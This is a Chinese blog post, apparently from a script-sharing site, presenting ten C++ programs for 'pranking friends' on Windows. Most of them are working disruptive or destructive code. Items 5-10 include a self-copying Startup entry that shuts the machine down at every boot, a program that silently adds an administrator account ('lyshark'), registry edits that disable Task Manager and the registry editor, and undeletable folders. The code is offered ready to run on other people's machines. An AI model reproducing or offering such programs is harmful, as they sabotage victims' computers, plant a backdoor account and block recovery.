十个C++恶搞朋友的代码合集

2023-02-06 14:20:43 作者：wangyuhan2010

这篇文章主要为大家整理了十个C++中可以恶搞朋友的代码合集（注意！从第五个开始为危险/永久性程序，请慎重使用），感兴趣的小伙伴可以收藏一下

注：以下代码应勿用于非法（Dev-c++5.11实测可用）

0.无限生成cmd

解决方法：关闭程序即可

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)system("start cmd");
}

1.使鼠标所点应用消失

解决方法：暂无

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        HWND hWnd=GetForegroundWindow();
        ShowWindow(hWnd,SW_HIDE);
    } 
}

2.使鼠标乱飞

解决方法：任务管理器（Ctrl+Alt+Delete）用方向键选该程序，点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
    } 
}

3.立刻或定时关机

解决方法：cmd（Win+R,输入:cmd），输入shutdown -a

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    system("shutdown -s -t 60");->1分钟
    system("shutdown -p");->立刻
}

4.卡死

注意:Windows高版本可能没有作用

解决方法：任务管理器（Ctrl+Alt+Delete）用方向键选该程序，点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)malloc(1000);
}

警告:从5.开始为危险/永久性程序，请慎重使用

5.开机即关机

提示:操作启动项，可能被杀毒软件拦截

解决方法：杀毒软件

Code:(保存在C:\main.cpp，编译后生成C:\main.exe，也可更改18行代码)

#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}

6.添加用户

提示:可能被杀毒软件拦截

解决方法：杀毒软件

Code:

#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
    USER_INFO_1 user;
    user.usri1_name = UserName;
    user.usri1_password = Password;
    user.usri1_priv = USER_PRIV_USER;
    user.usri1_home_dir = NULL;
    user.usri1_comment = NULL;
    user.usri1_flags = UF_SCRIPT;
    user.usri1_script_path = NULL;
    if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
        printf("创建用户完成 \n");
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = user.usri1_name;
    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
        printf("添加到组完成 \n");
}
void EnumUser()
{
    LPUSER_INFO_0 pBuf = NULL;
    LPUSER_INFO_0 pTmpBuf;
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
    DWORD i;
    NET_API_STATUS nStatus;
    LPTSTR pszServerName = NULL;
 
    do
    {
        nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
            (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
 
        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != NULL);
 
                    if (pTmpBuf == NULL)
                    {
                        break;
                    }
                    wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                    pTmpBuf++;
                }
            }
        }
 
        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA);
    NetApiBufferFree(pBuf);
}
 
int main(int argc, char *argv[])
{
    AddUser(L"lyshark", L"123123");
    EnumUser();
 
    system("pause");
    return 0;
}

7.禁用任务管理器

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

8.禁用注册表

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

9.桌面壁纸

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}

10.不可删除文件

解决方法：将51-52行换成52行

Code:

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
 
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    BOOL bRet = CreateDirectory(file, NULL);
    if (bRet)
    {
        strcat(file, "\\anti...\\");
        bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
            return TRUE;
        }
    }
    return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
    char file[2048] = { 0 };
 
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
 
    strcat(file, "\\anti...\\");
    RemoveDirectory(file);
 
    ZeroMemory(file, MAX_PATH);
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    RemoveDirectory(file);
}
 
int main(int argc, char * argv[])
{
    char *Fuk[4] = { "你", "好", "世", "界" };
    int FukLen = sizeof(Fuk) / sizeof(int);
 
    TCHAR Destop[MAX_PATH];
    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  
 
    for (int x = 0; x < FukLen; x++)
    {
        SetImmunity("c://", Fuk[x]);
        //ClearImmunity("c://", Fuk[x]);
    }
 
    system("pause");
    return 0;
}

到此这篇关十个C++恶搞朋友的代码合集的文章就介绍到这了,更多相关C++恶搞代码内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！

您可能感兴趣的文章:

C++实现恶搞电脑关机小程序的示例代码